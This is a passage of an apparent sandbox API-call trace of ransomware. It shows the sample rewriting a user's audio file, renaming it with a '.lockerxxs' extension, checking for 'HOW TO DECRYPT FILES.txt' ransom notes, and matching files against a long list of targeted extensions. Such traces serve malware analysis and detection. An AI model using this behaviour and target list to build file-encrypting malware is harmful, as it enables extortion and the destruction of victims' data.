HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav." [0090.516] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav.lockerxxs" [0090.516] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\8bzc7ythzk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.516] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6456 [0090.517] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x57894a70, dwHighDateTime=0x1d5da03), lpLastAccessTime=0x407536*(dwLowDateTime=0x4dc8de90, dwHighDateTime=0x1d5df82), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4dc8de90, dwHighDateTime=0x1d5df82)) returned 1 [0090.517] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.517] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6430, lpOverlapped=0x0) returned 1 [0090.519] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav") returned="8bzC7YthzK.wav" [0090.519] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.519] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6430, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6430, lpOverlapped=0x0) returned 1 [0090.519] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.520] CloseHandle (hObject=0x90) returned 1 [0090.520] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\8bzc7ythzk.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\8bzc7ythzk.wav.lockerxxs")) returned 1 [0090.521] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc643c50, ftCreationTime.dwHighDateTime=0x1d5dbef, ftLastAccessTime.dwLowDateTime=0x3ca71b20, ftLastAccessTime.dwHighDateTime=0x1d5d9da, ftLastWriteTime.dwLowDateTime=0x3ca71b20, ftLastWriteTime.dwHighDateTime=0x1d5d9da, nFileSizeHigh=0x0, nFileSizeLow=0xb738, dwReserved0=0x2900032a, dwReserved1=0x4e00c4, cFileName="azKJzM.mp3", cAlternateFileName="")) returned 1 [0090.521] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.521] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="azKJzM.mp3") returned 1 [0090.521] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="azKJzM.mp3") returned 1 [0090.521] lstrcmpiA (lpString1="", lpString2="azKJzM.mp3") returned -1 [0090.521] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\8bzC7YthzK.wav") returned="8bzC7YthzK.wav" [0090.521] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.521] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.521] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0x20 [0090.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="azKJzM.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3" [0090.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.ems") returned 0 [0090.522] lstrlenA (lpString="*.ems") returned 5 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.db") returned 0 [0090.522] lstrlenA (lpString="*.db") returned 4 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.dbf") returned 0 [0090.522] lstrlenA (lpString="*.dbf") returned 5 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.myox") returned 0 [0090.522] lstrlenA (lpString="*.myox") returned 6 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.myo") returned 0 [0090.522] lstrlenA (lpString="*.myo") returned 5 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qbw") returned 0 [0090.522] lstrlenA (lpString="*.qbw") returned 5 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qbb") returned 0 [0090.522] lstrlenA (lpString="*.qbb") returned 5 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qbm") returned 0 [0090.522] lstrlenA (lpString="*.qbm") returned 5 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qbo") returned 0 [0090.522] lstrlenA (lpString="*.qbo") returned 5 [0090.522] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qbx") returned 0 [0090.522] lstrlenA (lpString="*.qbx") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qba") returned 0 [0090.523] lstrlenA (lpString="*.qba") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qby") returned 0 [0090.523] lstrlenA (lpString="*.qby") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qbj") returned 0 [0090.523] lstrlenA (lpString="*.qbj") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.ofx") returned 0 [0090.523] lstrlenA (lpString="*.ofx") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.qif") returned 0 [0090.523] lstrlenA (lpString="*.qif") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mye") returned 0 [0090.523] lstrlenA (lpString="*.mye") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mbox") returned 0 [0090.523] lstrlenA (lpString="*.mbox") returned 6 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.eml") returned 0 [0090.523] lstrlenA (lpString="*.eml") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.pst") returned 0 [0090.523] lstrlenA (lpString="*.pst") returned 5 [0090.523] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.ost") returned 0 [0090.524] lstrlenA (lpString="*.ost") returned 5 [0090.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.idx") returned 0 [0090.524] lstrlenA (lpString="*.idx") returned 5 [0090.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.dbx") returned 0 [0090.524] lstrlenA (lpString="*.dbx") returned 5 [0090.524] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.sql") returned 0 [0090.524] lstrlenA (lpString="*.sql") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mdb") returned 0 [0090.525] lstrlenA (lpString="*.mdb") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.fdb") returned 0 [0090.525] lstrlenA (lpString="*.fdb") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.wab") returned 0 [0090.525] lstrlenA (lpString="*.wab") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.dat") returned 0 [0090.525] lstrlenA (lpString="*.dat") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.txt") returned 0 [0090.525] lstrlenA (lpString="*.txt") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.jpeg") returned 0 [0090.525] lstrlenA (lpString="*.jpeg") returned 6 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.jpg") returned 0 [0090.525] lstrlenA (lpString="*.jpg") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.png") returned 0 [0090.525] lstrlenA (lpString="*.png") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.php") returned 0 [0090.525] lstrlenA (lpString="*.php") returned 5 [0090.525] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.cs") returned 0 [0090.525] lstrlenA (lpString="*.cs") returned 4 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.cpp") returned 0 [0090.526] lstrlenA (lpString="*.cpp") returned 5 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.rar") returned 0 [0090.526] lstrlenA (lpString="*.rar") returned 5 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.zip") returned 0 [0090.526] lstrlenA (lpString="*.zip") returned 5 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.html") returned 0 [0090.526] lstrlenA (lpString="*.html") returned 6 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.htm") returned 0 [0090.526] lstrlenA (lpString="*.htm") returned 5 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.xlsx") returned 0 [0090.526] lstrlenA (lpString="*.xlsx") returned 6 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.xls") returned 0 [0090.526] lstrlenA (lpString="*.xls") returned 5 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mp4") returned 0 [0090.526] lstrlenA (lpString="*.mp4") returned 5 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.ppt") returned 0 [0090.526] lstrlenA (lpString="*.ppt") returned 5 [0090.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.pptx") returned 0 [0090.526] lstrlenA (lpString="*.pptx") returned 6 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.doc") returned 0 [0090.527] lstrlenA (lpString="*.doc") returned 5 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.dot") returned 0 [0090.527] lstrlenA (lpString="*.dot") returned 5 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.docx") returned 0 [0090.527] lstrlenA (lpString="*.docx") returned 6 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.7z") returned 0 [0090.527] lstrlenA (lpString="*.7z") returned 4 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.tar") returned 0 [0090.527] lstrlenA (lpString="*.tar") returned 5 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.bz2") returned 0 [0090.527] lstrlenA (lpString="*.bz2") returned 5 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.gz") returned 0 [0090.527] lstrlenA (lpString="*.gz") returned 4 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mkv") returned 0 [0090.527] lstrlenA (lpString="*.mkv") returned 5 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.eml") returned 0 [0090.527] lstrlenA (lpString="*.eml") returned 5 [0090.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.msg") returned 0 [0090.528] lstrlenA (lpString="*.msg") returned 5 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.edb") returned 0 [0090.528] lstrlenA (lpString="*.edb") returned 5 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.accdb") returned 0 [0090.528] lstrlenA (lpString="*.accdb") returned 7 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.odb") returned 0 [0090.528] lstrlenA (lpString="*.odb") returned 5 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.java") returned 0 [0090.528] lstrlenA (lpString="*.java") returned 6 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.asm") returned 0 [0090.528] lstrlenA (lpString="*.asm") returned 5 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.pfx") returned 0 [0090.528] lstrlenA (lpString="*.pfx") returned 5 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.pem") returned 0 [0090.528] lstrlenA (lpString="*.pem") returned 5 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.p12") returned 0 [0090.528] lstrlenA (lpString="*.p12") returned 5 [0090.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.gpg") returned 0 [0090.528] lstrlenA (lpString="*.gpg") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.vsd") returned 0 [0090.529] lstrlenA (lpString="*.vsd") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.odg") returned 0 [0090.529] lstrlenA (lpString="*.odg") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.raw") returned 0 [0090.529] lstrlenA (lpString="*.raw") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.nef") returned 0 [0090.529] lstrlenA (lpString="*.nef") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.svg") returned 0 [0090.529] lstrlenA (lpString="*.svg") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.psd") returned 0 [0090.529] lstrlenA (lpString="*.psd") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.vmx") returned 0 [0090.529] lstrlenA (lpString="*.vmx") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.vmdk") returned 0 [0090.529] lstrlenA (lpString="*.vmdk") returned 6 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.vdi") returned 0 [0090.529] lstrlenA (lpString="*.vdi") returned 5 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.lay6") returned 0 [0090.529] lstrlenA (lpString="*.lay6") returned 6 [0090.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mpeg") returned 0 [0090.530] lstrlenA (lpString="*.mpeg") returned 6 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.djvu") returned 0 [0090.530] lstrlenA (lpString="*.djvu") returned 6 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.tiff") returned 0 [0090.530] lstrlenA (lpString="*.tiff") returned 6 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.backup") returned 0 [0090.530] lstrlenA (lpString="*.backup") returned 8 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.pdf") returned 0 [0090.530] lstrlenA (lpString="*.pdf") returned 5 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.cert") returned 0 [0090.530] lstrlenA (lpString="*.cert") returned 6 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.docm") returned 0 [0090.530] lstrlenA (lpString="*.docm") returned 6 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.xlsm") returned 0 [0090.530] lstrlenA (lpString="*.xlsm") returned 6 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.dwg") returned 0 [0090.530] lstrlenA (lpString="*.dwg") returned 5 [0090.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.nd") returned 0 [0090.530] lstrlenA (lpString="*.nd") returned 4 [0090.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.tlg") returned 0 [0090.531] lstrlenA (lpString="*.tlg") returned 5 [0090.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.lgb") returned 0 [0090.531] lstrlenA (lpString="*.lgb") returned 5 [0090.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mov") returned 0 [0090.531] lstrlenA (lpString="*.mov") returned 5 [0090.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.xdw") returned 0 [0090.531] lstrlenA (lpString="*.xdw") returned 5 [0090.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.ods") returned 0 [0090.531] lstrlenA (lpString="*.ods") returned 5 [0090.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 